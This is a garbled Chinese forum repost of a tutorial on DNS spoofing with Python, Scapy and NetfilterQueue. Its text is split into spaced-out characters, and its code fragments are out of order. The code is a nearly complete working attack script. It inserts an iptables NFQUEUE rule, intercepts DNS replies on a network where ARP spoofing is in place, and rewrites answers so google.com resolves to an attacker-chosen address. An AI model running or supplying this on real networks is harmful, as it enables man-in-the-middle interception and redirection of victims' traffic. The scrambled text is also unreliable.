[28481] 2020-08-06_使用PythonScapy进行DNS欺骗攻击

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2020-08-06_使用PythonScapy进行DNS欺骗攻击 使 P y t h o n   S c a p y D N S O t s   2 0 2 0 - 0 8 - 0 6 D N S A   D o m a i n   N a m e   S y s t e m   s e r v e r   g o o g l e . c o m 使 I P g o o g l e . c o m D N S g o o g l e . c o m I P 使 I P
I n t e r n e t D N S   S p o o f e r
D N S D N S     D N S                 D N S               I P     使 A R P D N S I n t e r n e t g o o g l e . c o m I P D N S D N S
D N S D N S g o o g l e . c o m I P D N S I P I P
W e b 1 9 2 . 1 6 8 . 1 . 1 0 0 1 9 2 . 1 6 8 . 1 . 1 0 6   g o o g l e . c o m P y t h o n 使 S c a p y 使 N e t f i l t e r Q u e u e L i n u x i p t a b l e s 访 L i n u x i p t a b l e s l i n u x i p t a b l e s   - I   F O R W A R D   - j   N F Q U E U E   - - q u e u e - n u m   0 - j n e t f i l t e r 0 使 P y t h o n       S c a p y       s c a p y f r o m   s c a p y . a l l   i m p o r t   * f r o m   n e t f i l t e r q u e u e   i m p o r t   N e t f i l t e r Q u e u e i m p o r t   o s D N S p i p 3   i n s t a l l   n e t f i l t e r q u e u e   s c a p y #   D N S   m a p p i n g   r e c o r d s ,   f e e l   f r e e   t o   a d d / m o d i f y   t h i s   d i c t i o n a r y #   f o r   e x a m p l e ,   g o o g l e . c o m   w i l l   b e   r e d i r e c t e d   t o   1 9 2 . 1 6 8 . 1 . 1 0 0
n e t f i l t e r n e t f i l t e r s c a p y D N S 使 M o d i f y _ p a c k e t p a c k e t d n s _ h o s t s   =   {         b " w w w . g o o g l e . c o m . " :   " 1 9 2 . 1 6 8 . 1 . 1 0 0 " ,         b " g o o g l e . c o m . " :   " 1 9 2 . 1 6 8 . 1 . 1 0 0 " ,         b " f a c e b o o k . c o m . " :   " 1 7 2 . 2 1 7 . 1 9 . 1 4 2 " } d e f   p r o c e s s _ p a c k e t ( p a c k e t ) :         " " "         W h e n e v e r   a   n e w   p a c k e t   i s   r e d i r e c t e d   t o   t h e   n e t f i l t e r   q u e u e ,         t h i s   c a l l b a c k   i s   c a l l e d .         " " "         #   c o n v e r t   n e t f i l t e r   q u e u e   p a c k e t   t o   s c a p y   p a c k e t         s c a p y _ p a c k e t   =   I P ( p a c k e t . g e t _ p a y l o a d ( ) )         i f   s c a p y _ p a c k e t . h a s l a y e r ( D N S R R ) :                 #   i f   t h e   p a c k e t   i s   a   D N S   R e s o u r c e   R e c o r d   ( D N S   r e p l y )                 #   m o d i f y   t h e   p a c k e t                 p r i n t ( " [ B e f o r e ] : " ,   s c a p y _ p a c k e t . s u m m a r y ( ) )                 t r y :                         s c a p y _ p a c k e t   =   m o d i f y _ p a c k e t ( s c a p y _ p a c k e t )                 e x c e p t   I n d e x E r r o r :                         #   n o t   U D P   p a c k e t ,   t h i s   c a n   b e   I P e r r o r / U D P e r r o r   p a c k e t s                         p a s s                 p r i n t ( " [ A f t e r   ] : " ,   s c a p y _ p a c k e t . s u m m a r y ( ) )                 #   s e t   b a c k   a s   n e t f i l t e r   q u e u e   p a c k e t                 p a c k e t . s e t _ p a y l o a d ( b y t e s ( s c a p y _ p a c k e t ) )         #   a c c e p t   t h e   p a c k e t         p a c k e t . a c c e p t ( ) d e f   m o d i f y _ p a c k e t ( p a c k e t ) :         " " "         M o d i f i e s   t h e   D N S   R e s o u r c e   R e c o r d   ` p a c k e t `   (   t h e   a n s w e r   p a r t )         t o   m a p   o u r   g l o b a l l y   d e f i n e d   ` d n s _ h o s t s `   d i c t i o n a r y .         F o r   i n s t a n c e ,   w h e n e v e r   w e   s e e   a   g o o g l e . c o m   a n s w e r ,   t h i s   f u n c t i o n   r e p l a c e s         t h e   r e a l   I P   a d d r e s s   ( 1 7 2 . 2 1 7 . 1 9 . 1 4 2 )   w i t h   f a k e   I P   a d d r e s s   ( 1 9 2 . 1 6 8 . 1 . 1 0 0 )         " " "         #   g e t   t h e   D N S   q u e s t i o n   n a m e ,   t h e   d o m a i n   n a m e         q n a m e   =   p a c k e t [ D N S Q R ] . q n a m e         i f   q n a m e   n o t   i n   d n s _ h o s t s :                 #   i f   t h e   w e b s i t e   i s n ' t   i n   o u r   r e c o r d                 #   w e   d o n ' t   w a n n a   m o d i f y   t h a t                 p r i n t ( " n o   m o d i f i c a t i o n : " ,   q n a m e )                 r e t u r n   p a c k e t         #   c r a f t   n e w   a n s w e r ,   o v e r r i d i n g   t h e   o r i g i n a l         #   s e t t i n g   t h e   r d a t a   f o r   t h e   I P   w e   w a n t   t o   r e d i r e c t   ( s p o o f e d )         #   f o r   i n s t a n c e ,   g o o g l e . c o m   w i l l   b e   m a p p e d   t o   " 1 9 2 . 1 6 8 . 1 . 1 0 0 "         p a c k e t [ D N S ] . a n   =   D N S R R ( r r n a m e = q n a m e ,   r d a t a = d n s _ h o s t s [ q n a m e ] )         #   s e t   t h e   a n s w e r   c o u n t   t o   1         p a c k e t [ D N S ] . a n c o u n t   =   1
i p t a b l e s n e t f i l t e r n e t f i l t e r t r y - e x c e p t 便 C T R L   +   C i p t a b l e s a r p d n s   s p o o f e r r o o t @ r o c k i k z : ~ #   p y t h o n 3   d n s _ s p o o f . p y D N S p i n g   g o o g l e . c o m         #   d e l e t e   c h e c k s u m s   a n d   l e n g t h   o f   p a c k e t ,   b e c a u s e   w e   h a v e   m o d i f i e d   t h e   p a c k e t         #   n e w   c a l c u l a t i o n s   a r e   r e q u i r e d   (   s c a p y   w i l l   d o   a u t o m a t i c a l l y   )         d e l   p a c k e t [ I P ] . l e n         d e l   p a c k e t [ I P ] . c h k s u m         d e l   p a c k e t [ U D P ] . l e n         d e l   p a c k e t [ U D P ] . c h k s u m         #   r e t u r n   t h e   m o d i f i e d   p a c k e t         r e t u r n   p a c k e t Q U E U E _ N U M   =   0 #   i n s e r t   t h e   i p t a b l e s   F O R W A R D   r u l e o s . s y s t e m ( " i p t a b l e s   - I   F O R W A R D   - j   N F Q U E U E   - - q u e u e - n u m   { } " . f o r m a t ( Q U E U E _ N U M ) ) #   i n s t a n t i a t e   t h e   n e t f i l t e r   q u e u e q u e u e   =   N e t f i l t e r Q u e u e ( ) t r y :         #   b i n d   t h e   q u e u e   n u m b e r   t o   o u r   c a l l b a c k   ` p r o c e s s _ p a c k e t `         #   a n d   s t a r t   i t         q u e u e . b i n d ( Q U E U E _ N U M ,   p r o c e s s _ p a c k e t )         q u e u e . r u n ( ) e x c e p t   K e y b o a r d I n t e r r u p t :         #   i f   w a n t   t o   e x i t ,   m a k e   s u r e   w e         #   r e m o v e   t h a t   r u l e   w e   j u s t   i n s e r t e d ,   g o i n g   b a c k   t o   n o r m a l .         o s . s y s t e m ( " i p t a b l e s   - - f l u s h " )
  g o o g l e . c o m I P 1 9 2 . 1 6 8 . 1 . 1 0 0 g o o g l e 1 9 2 . 1 6 8 . 1 . 1 0 0 g o o g l e . c o m 1 9 2 . 1 6 8 . 1 . 1 0 0 D N S a r p   s p o o f e r d n s   s p o o f e r C T R L +   C

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则